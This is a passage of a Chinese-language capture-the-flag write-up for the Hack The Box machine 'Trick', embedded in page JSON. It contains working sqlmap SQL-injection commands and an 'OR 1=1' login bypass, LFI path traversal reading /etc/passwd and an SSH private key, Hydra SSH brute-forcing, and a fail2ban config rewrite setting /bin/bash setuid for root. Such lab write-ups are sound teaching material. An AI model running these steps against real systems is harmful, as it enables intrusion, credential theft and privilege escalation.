","text":"$$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --banner --current-user --current-db --is-dba --time-sec 1 ...... web application technology: PHP, Nginx 1.14.2 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) banner: '10.3.34-MariaDB-0+deb10u1' current user: 'remo@localhost' current database: 'payroll_db' current user is DBA: False"},{"id":"b54","type":"paragraph","html":"

看看 payroll_db 都有些啥：

","text":"看看 payroll_db 都有些啥："},{"id":"b55","type":"paragraph","html":"

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --tables -D payroll_db --time-sec 1\n...<SNIP>...\n[11 tables]\n+---------------------+\n| position            |\n| allowances          |\n| attendance          |\n| deducao             |\n| department          |\n| employee            |\n| employee_allowances |\n| employee_deductions |\n| payroll             |\n| payroll_items       |\n| users               |\n+---------------------+\n

","text":"$$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --tables -D payroll_db --time-sec 1 ...... [11 tables] +---------------------+ | position | | allowances | | attendance | | deducao | | department | | employee | | employee_allowances | | employee_deductions | | payroll | | payroll_items | | users | +---------------------+"},{"id":"b56","type":"paragraph","html":"

其中的 users 包含了該網站的使用者帳密：

","text":"其中的 users 包含了該網站的使用者帳密："},{"id":"b57","type":"paragraph","html":"

abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick [682s]\n$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' -D payroll_db -T users --dump --time-sec 1\n...<SNIP>...\nDatabase: payroll_db\nTable: users\n[1 entry]\n+----+-----------+---------------+--------+---------+---------+-----------------------+------------+\n| id | doctor_id | name          | type   | address | contact | password              | username   |\n+----+-----------+---------------+--------+---------+---------+-----------------------+------------+\n| 1  | 0         | Administrator | 1      | <blank> | <blank> | SuperGucciRainbowCake | Enemigosss |\n+----+-----------+---------------+--------+---------+---------+-----------------------+------------+\n

","text":"abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick [682s] $ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' -D payroll_db -T users --dump --time-sec 1 ...... Database: payroll_db Table: users [1 entry] +----+-----------+---------------+--------+---------+---------+-----------------------+------------+ | id | doctor_id | name | type | address | contact | password | username | +----+-----------+---------------+--------+---------+---------+-----------------------+------------+ | 1 | 0 | Administrator | 1 | | | SuperGucciRainbowCake | Enemigosss | +----+-----------+---------------+--------+---------+---------+-----------------------+------------+"},{"id":"b58","type":"paragraph","html":"

不過呢，因為 Time-Based Blind 實在太慢了，所以自己玩了一下簡單的 SQL Injection，沒想到 admin' OR 1=1 -- - 就給我直接進去了！為什麼 sqlmap 沒有檢測到這麼基本的東西 R！總之呢，我用拿到的這組帳密登進去，結果和我繞過的 admin 帳號一模一樣。試著用這組帳密登入 SSH，結果沒有收穫：

","text":"不過呢，因為 Time-Based Blind 實在太慢了，所以自己玩了一下簡單的 SQL Injection，沒想到 admin' OR 1=1 -- - 就給我直接進去了！為什麼 sqlmap 沒有檢測到這麼基本的東西 R！總之呢，我用拿到的這組帳密登進去，結果和我繞過的 admin 帳號一模一樣。試著用這組帳密登入 SSH，結果沒有收穫："},{"id":"b59","type":"paragraph","html":"

$ ssh enemigosss@trick.htb\nenemigosss@trick.htb's password:\nPermission denied, please try again.\n\n$ ssh Enemigosss@trick.htb\nEnemigosss@trick.htb's password:\nPermission denied, please try again.\n

","text":"$$ ssh enemigosss@trick.htb enemigosss@trick.htb's password: Permission denied, please try again. $ ssh Enemigosss@trick.htb Enemigosss@trick.htb's password: Permission denied, please try again."},{"id":"b60","type":"paragraph","html":"

在枚舉到使用者以後，就應該看看他有什麼權限：

","text":"在枚舉到使用者以後，就應該看看他有什麼權限："},{"id":"b61","type":"paragraph","html":"

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --time-sec 1 --privileges --batch\n...<SNIP>...\ndatabase management system users privileges:\n[*] remo [1]:\n    privilege: FILE\n

","text":"$$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --time-sec 1 --privileges --batch ...... database management system users privileges: [*] remo [1]: privilege: FILE"},{"id":"b62","type":"paragraph","html":"

哇屋，居然有 FILE 權限 … 看看可不可以讀 /etc/passwd：

","text":"哇屋，居然有 FILE 權限 … 看看可不可以讀 /etc/passwd："},{"id":"b63","type":"paragraph","html":"

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --file-read \"/etc/passwd\" --time-sec 1\n...<SNIP>...\n[14:45:18] [INFO] the remote file '/etc/passwd' is larger (2351 B) than the local file '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd' (146B)\nfiles saved to [1]:\n[*] /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd (size differs from remote file)\n[14:45:18] [INFO] fetched data logged to text files under '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb'\n\n$ ls /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb\ndump  files  log  session.sqlite  target.txt\n\n$ cat /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin?\n

","text":"$$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --file-read \"/etc/passwd\" --time-sec 1 ...... [14:45:18] [INFO] the remote file '/etc/passwd' is larger (2351 B) than the local file '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd' (146B) files saved to [1]: [*] /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd (size differs from remote file) [14:45:18] [INFO] fetched data logged to text files under '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb' $ ls /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb dump files log session.sqlite target.txt $ cat /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin?"},{"id":"b64","type":"paragraph","html":"

可以，但是這結果是怎麼回事？而且你知道我跑這個跑多久嘛？十七分鐘啊！媽耶！我後來有點不知道要做什麼了，所以去看了提示：

","text":"可以，但是這結果是怎麼回事？而且你知道我跑這個跑多久嘛？十七分鐘啊！媽耶！我後來有點不知道要做什麼了，所以去看了提示："},{"id":"b66","type":"paragraph","html":"

好喔，那就去看吧：

","text":"好喔，那就去看吧："},{"id":"b67","type":"paragraph","html":"

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --file-read \"/etc/nginx/sites-available/default\" --time-sec 2\n...<SNIP>...\n---\nParameter: username (POST)\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: username=aoeunsht' AND (SELECT 2923 FROM (SELECT(!SLEEP(2)))GyIw) AND 'XhdH'='XhdH&password=aoeu\n---\n...<SNIP>...\n[15:29:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)\n[15:30:04] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions\n46\n[15:30:23] [ERROR] invalid character detected. retrying..\n56E205B3A\n...<SNIP>...\n[15:40:30] [ERROR] invalid character detected. retrying..\n520747269636B2E687\n

","text":"$$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data 'username=aoeunsht&password=aoeu' --file-read \"/etc/nginx/sites-available/default\" --time-sec 2 ...... --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=aoeunsht' AND (SELECT 2923 FROM (SELECT(!SLEEP(2)))GyIw) AND 'XhdH'='XhdH&password=aoeu --- ...... [15:29:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [15:30:04] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 46 [15:30:23] [ERROR] invalid character detected. retrying.. 56E205B3A ...... [15:40:30] [ERROR] invalid character detected. retrying.. 520747269636B2E687"},{"id":"b68","type":"paragraph","html":"

結果一直失敗，我心想這作者不可能要我用 Time-Based Blind 拿出這麼多資訊吧？會死人耶。後來我實在卡太久了，受不了直接去看 0xdf 的 writeup，結果才恍然大悟，原來用 --level 讓 sqlmap 在 Boolean-Based Blind 多試點東西就好了呀 …

","text":"結果一直失敗，我心想這作者不可能要我用 Time-Based Blind 拿出這麼多資訊吧？會死人耶。後來我實在卡太久了，受不了直接去看 0xdf 的 writeup，結果才恍然大悟，原來用 --level 讓 sqlmap 在 Boolean-Based Blind 多試點東西就好了呀 …"},{"id":"b69","type":"paragraph","html":"

$ sqlmap -r login_request.txt --batch --flush-session --technique=B --level 5 --threads 5 --retries 10 --file-read=\"/etc/hostname\"\n...<SNIP>...\n---\nParameter: username (POST)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)\n    Payload: username=aoeunsht' AND 2839=(SELECT (CASE WHEN (2839=2839) THEN 2839 ELSE (SELECT 2690 UNION SELECT 6266) END))-- KIUI&password=aoeu\n---\n...<SNIP>...\n[16:17:40] [INFO] the local file '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_hostname' and the remote file '/etc/hostname' have the same size (6 B)\nfiles saved to [1]:\n...<SNIP>...\n\n$ cat /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_hostname\ntrick\n

","text":"$$ sqlmap -r login_request.txt --batch --flush-session --technique=B --level 5 --threads 5 --retries 10 --file-read=\"/etc/hostname\" ...... --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: username=aoeunsht' AND 2839=(SELECT (CASE WHEN (2839=2839) THEN 2839 ELSE (SELECT 2690 UNION SELECT 6266) END))-- KIUI&password=aoeu --- ...... [16:17:40] [INFO] the local file '/home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_hostname' and the remote file '/etc/hostname' have the same size (6 B) files saved to [1]: ...... $ cat /home/abb00717/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_hostname trick"},{"id":"b70","type":"paragraph","html":"

看來有成功了！接下來拿 /etc/nginx/sites-available/default：

","text":"看來有成功了！接下來拿 /etc/nginx/sites-available/default："},{"id":"b71","type":"paragraph","html":"$1c","text":"$1d"},{"id":"b72","type":"paragraph","html":"

欸 … 不知道發生了什麼事情，我直接請 Claude 寫腳本看可不可以從已知的資料找到東西：

","text":"欸 … 不知道發生了什麼事情，我直接請 Claude 寫腳本看可不可以從已知的資料找到東西："},{"id":"b73","type":"paragraph","html":"$1e","text":"$1f"},{"id":"b74","type":"paragraph","html":"

結果就看到了新的 preprod-marketing.trick.htb！

","text":"結果就看到了新的 preprod-marketing.trick.htb！"},{"id":"b75","type":"heading","html":"

Shell as Michael

","text":"Shell as Michael"},{"id":"b76","type":"heading","html":"

preprod-marketing.trick.htb

","text":"preprod-marketing.trick.htb"},{"id":"b77","type":"paragraph","html":"

稍微逛了一下網站：

","text":"稍微逛了一下網站："},{"id":"b79","type":"paragraph","html":"

看到 /index.php?page=about.html 我的 DNA 都動了，直接試有沒有 LFI：

","text":"看到 /index.php?page=about.html 我的 DNA 都動了，直接試有沒有 LFI："},{"id":"b80","type":"paragraph","html":"

abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick/CVE-2024-34833-payroll-management-system-rce [14s]\n$ ffuf -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://preprod-marketing.trick.htb/index.php?page=FUZZ' -ac\n...<SNIP>...\n....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 79ms]\n....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 78ms]\n....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 82ms]\n....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 85ms]\n:: Progress: [930/930] :: Job [1/1] :: 477 req/sec :: Duration: [0:00:02] :: Errors: 0 ::\n\n$ curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd' | grep sh$\n...<SNIP>...\nroot:x:0:0:root:/root:/bin/bash\nmichael:x:1001:1001::/home/michael:/bin/bash\n

","text":"abb00717@abb00717-kali:~/Shared/Hacking/HTB/Machines/Trick/CVE-2024-34833-payroll-management-system-rce [14s] $ ffuf -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://preprod-marketing.trick.htb/index.php?page=FUZZ' -ac ...... ....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 79ms] ....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 78ms] ....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 82ms] ....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 85ms] :: Progress: [930/930] :: Job [1/1] :: 477 req/sec :: Duration: [0:00:02] :: Errors: 0 :: $ curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd' | grep sh$ ...... root:x:0:0:root:/root:/bin/bash michael:x:1001:1001::/home/michael:/bin/bash"},{"id":"b81","type":"paragraph","html":"

輕鬆發現 LFI！馬上拿之前的密碼 SuperGucciRainbowCake 去試，肯定 …

","text":"輕鬆發現 LFI！馬上拿之前的密碼 SuperGucciRainbowCake 去試，肯定 …"},{"id":"b82","type":"paragraph","html":"

$ ssh michael@trick.htb\nmichael@trick.htb's password:\nPermission denied, please try again.\n

","text":"$$ ssh michael@trick.htb michael@trick.htb's password: Permission denied, please try again."},{"id":"b83","type":"paragraph","html":"

好吧沒有 QQ 不過，既然我有 LFI，那我為何不直接搜尋看看 flag 呢？

","text":"好吧沒有 QQ 不過，既然我有 LFI，那我為何不直接搜尋看看 flag 呢？"},{"id":"b85","type":"paragraph","html":"

結果還真被我賽到了 xD … 欸等等，那麼 SSH 的私鑰呢？

","text":"結果還真被我賽到了 xD … 欸等等，那麼 SSH 的私鑰呢？"},{"id":"b87","type":"paragraph","html":"

這個真的太神奇了 xD

","text":"這個真的太神奇了 xD"},{"id":"b88","type":"paragraph","html":"

$ cat id_rsa\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\n...<SNIP>...\nIJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n\n$ chmod 600 id_rsa\n\n$ ssh -i id_rsa michael@trick.htb\n...<SNIP>...\n\nmichael@trick:~$ id\nuid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)\n\nmichael@trick:~$ cat user.txt\n70da************************78b7\n

","text":"$$ cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn ...... IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ== -----END OPENSSH PRIVATE KEY----- $ chmod 600 id_rsa $ ssh -i id_rsa michael@trick.htb ...... michael@trick:~$ id uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security) michael@trick:~$ cat user.txt 70da************************78b7"},{"id":"b89","type":"heading","html":"

Shell as Root

","text":"Shell as Root"},{"id":"b90","type":"heading","html":"

fail2ban

","text":"fail2ban"},{"id":"b91","type":"paragraph","html":"

基本操作：

","text":"基本操作："},{"id":"b92","type":"paragraph","html":"

michael@trick:~$ sudo -l\nMatching Defaults entries for michael on trick:\n    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\n\nUser michael may run the following commands on trick:\n    (root) NOPASSWD: /etc/init.d/fail2ban restart\n

","text":"michael@trick:~$ sudo -l Matching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart"},{"id":"b93","type":"paragraph","html":"

Huh？用 Kagi 搜尋挖到了這篇文章：

","text":"Huh？用 Kagi 搜尋挖到了這篇文章："},{"id":"b95","type":"paragraph","html":"

我還有把日期設定在靶機出來以前，所以作者應該就是要我們看著這篇做的。文章裡有提到一個 /etc/fail2ban/action.d 的目錄：

","text":"我還有把日期設定在靶機出來以前，所以作者應該就是要我們看著這篇做的。文章裡有提到一個 /etc/fail2ban/action.d 的目錄："},{"id":"b96","type":"paragraph","html":"

michael@trick:~$ ls -al /etc/fail2ban/\ntotal 76\ndrwxr-xr-x   6 root root      4096 Aug 26 11:54 .\ndrwxr-xr-x 126 root root     12288 Aug 26 11:53 ..\ndrwxrwx---   2 root security  4096 Aug 26 11:54 action.d\n-rw-r--r--   1 root root      2334 Aug 26 11:54 fail2ban.conf\ndrwxr-xr-x   2 root root      4096 Aug 26 11:54 fail2ban.d\ndrwxr-xr-x   3 root root      4096 Aug 26 11:54 filter.d\n-rw-r--r--   1 root root     22908 Aug 26 11:54 jail.conf\ndrwxr-xr-x   2 root root      4096 Aug 26 11:54 jail.d\n-rw-r--r--   1 root root       645 Aug 26 11:54 paths-arch.conf\n-rw-r--r--   1 root root      2827 Aug 26 11:54 paths-common.conf\n-rw-r--r--   1 root root       573 Aug 26 11:54 paths-debian.conf\n-rw-r--r--   1 root root       738 Aug 26 11:54 paths-opensuse.conf\n\nmichael@trick:~$ id\nuid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)\n

","text":"michael@trick:~$ ls -al /etc/fail2ban/ total 76 drwxr-xr-x 6 root root 4096 Aug 26 11:54 . drwxr-xr-x 126 root root 12288 Aug 26 11:53 .. drwxrwx--- 2 root security 4096 Aug 26 11:54 action.d -rw-r--r-- 1 root root 2334 Aug 26 11:54 fail2ban.conf drwxr-xr-x 2 root root 4096 Aug 26 11:54 fail2ban.d drwxr-xr-x 3 root root 4096 Aug 26 11:54 filter.d -rw-r--r-- 1 root root 22908 Aug 26 11:54 jail.conf drwxr-xr-x 2 root root 4096 Aug 26 11:54 jail.d -rw-r--r-- 1 root root 645 Aug 26 11:54 paths-arch.conf -rw-r--r-- 1 root root 2827 Aug 26 11:54 paths-common.conf -rw-r--r-- 1 root root 573 Aug 26 11:54 paths-debian.conf -rw-r--r-- 1 root root 738 Aug 26 11:54 paths-opensuse.conf michael@trick:~$ id uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)"},{"id":"b97","type":"paragraph","html":"

在靶機裡我們是有權限在裡面寫入和讀取的（因為 security group），所以我就 monkey see monkey do：

","text":"在靶機裡我們是有權限在裡面寫入和讀取的（因為 security group），所以我就 monkey see monkey do："},{"id":"b98","type":"quote","html":"

\n\n \n
直接 chmod 4777 /bin/bash 是危險行為！現實中請勿模仿
\n \n \n

","text":"直接 chmod 4777 /bin/bash 是危險行為！現實中請勿模仿"},{"id":"b99","type":"paragraph","html":"

michael@trick:~$ mv /etc/fail2ban/action.d/iptables-multiport.conf ./iptables-multiport.conf.bak\n\nmichael@trick:~$ cat > iptables-multiport.conf <<'EOF'\n> [Definition]\n> actionstart =\n> actionstop =\n> actioncheck =\n> actionban = chmod 4777 /bin/bash\n> actionunban =\n> EOF\n\nmichael@trick:~$ cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf\n

","text":"michael@trick:~$ mv /etc/fail2ban/action.d/iptables-multiport.conf ./iptables-multiport.conf.bak michael@trick:~$ cat > iptables-multiport.conf <<'EOF' > [Definition] > actionstart = > actionstop = > actioncheck = > actionban = chmod 4777 /bin/bash > actionunban = > EOF michael@trick:~$ cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf"},{"id":"b100","type":"paragraph","html":"

重啟 fail2ban：

","text":"重啟 fail2ban："},{"id":"b101","type":"paragraph","html":"

michael@trick:~$ sudo /etc/init.d/fail2ban restart\n[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.\n

","text":"michael@trick:~$ sudo /etc/init.d/fail2ban restart [ ok ] Restarting fail2ban (via systemctl): fail2ban.service."},{"id":"b102","type":"paragraph","html":"

開始嘗試被 ban：

","text":"開始嘗試被 ban："},{"id":"b103","type":"paragraph","html":"

$ hydra -l root -P /usr/share/wordlists/rockyou.txt trick.htb ssh -v -I\n...<SNIP>...\n[ERROR] ssh protocol error\n[VERBOSE] Retrying connection for child 1\n[STATUS] 241.00 tries/min, 241 tries in 00:01h, 14344159 to do in 991:60h, 15 active\n[ERROR] could not connect to target port 22: Socket error: Connection reset by peer\n[ERROR] ssh protocol error\n[VERBOSE] Retrying connection for child 2\n

","text":"$$ hydra -l root -P /usr/share/wordlists/rockyou.txt trick.htb ssh -v -I ...... [ERROR] ssh protocol error [VERBOSE] Retrying connection for child 1 [STATUS] 241.00 tries/min, 241 tries in 00:01h, 14344159 to do in 991:60h, 15 active [ERROR] could not connect to target port 22: Socket error: Connection reset by peer [ERROR] ssh protocol error [VERBOSE] Retrying connection for child 2"},{"id":"b104","type":"paragraph","html":"

放置了一段時間，回去看看有沒有成功

","text":"放置了一段時間，回去看看有沒有成功"},{"id":"b105","type":"paragraph","html":"

michael@trick:~$ ls -al /bin/bash\n-rwsrwxrwx 1 root root 1168776 Apr 18  2019 /bin/bash\n

","text":"michael@trick:~$ ls -al /bin/bash -rwsrwxrwx 1 root root 1168776 Apr 18 2019 /bin/bash"},{"id":"b106","type":"paragraph","html":"

喔喔有欸！那就基本操作了：

","text":"喔喔有欸！那就基本操作了："},{"id":"b107","type":"paragraph","html":"

michael@trick:~$ /bin/bash -p\n\nbash-5.0# id\nuid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)\n\nbash-5.0# cat /root/root.txt\n98ff************************a9ce\n

","text":"michael@trick:~$ /bin/bash -p bash-5.0# id uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security) bash-5.0# cat /root/root.txt 98ff************************a9ce"},{"id":"b108","type":"heading","html":"

Bonus

","text":"Bonus"},{"id":"b109","type":"paragraph","html":"

TODO: 好累 … 之後再回來複習 ._ .

","text":"TODO: 好累 … 之後再回來複習 ._ ."}],"source":"$0:f:0:1:0:props:children:props:children:1:props:children:props:children:props:children:0:props:sources:243","originalUrl":"https://blog.abb00717.com/%E7%B4%80%E9%8C%84/Hack-The-Box/Machines/Trick","excerpt":"透過 dig 我們取得靶機的第一個 vHost ，並在該 vHost 上的 Payroll Management System 發現 SQL Injection，藉由資料庫使用者的 FILE 權限以 load_file() 讀取 Nginx 設定檔，找出第二個 vHost。而該網站存在 LFI，讀出使用者 michael 的 id_rsa 後以 SSH 取得初始立足點。最後利用 michael 可免密碼 sudo 重啟 fail2ban、又能寫入其設定目錄的組合，將封鎖動作改為 chmod 4777 /bin/bash，觸發後以 bash -p 提權至 root。"},"shouldTranslate":true}],"$L20"]}]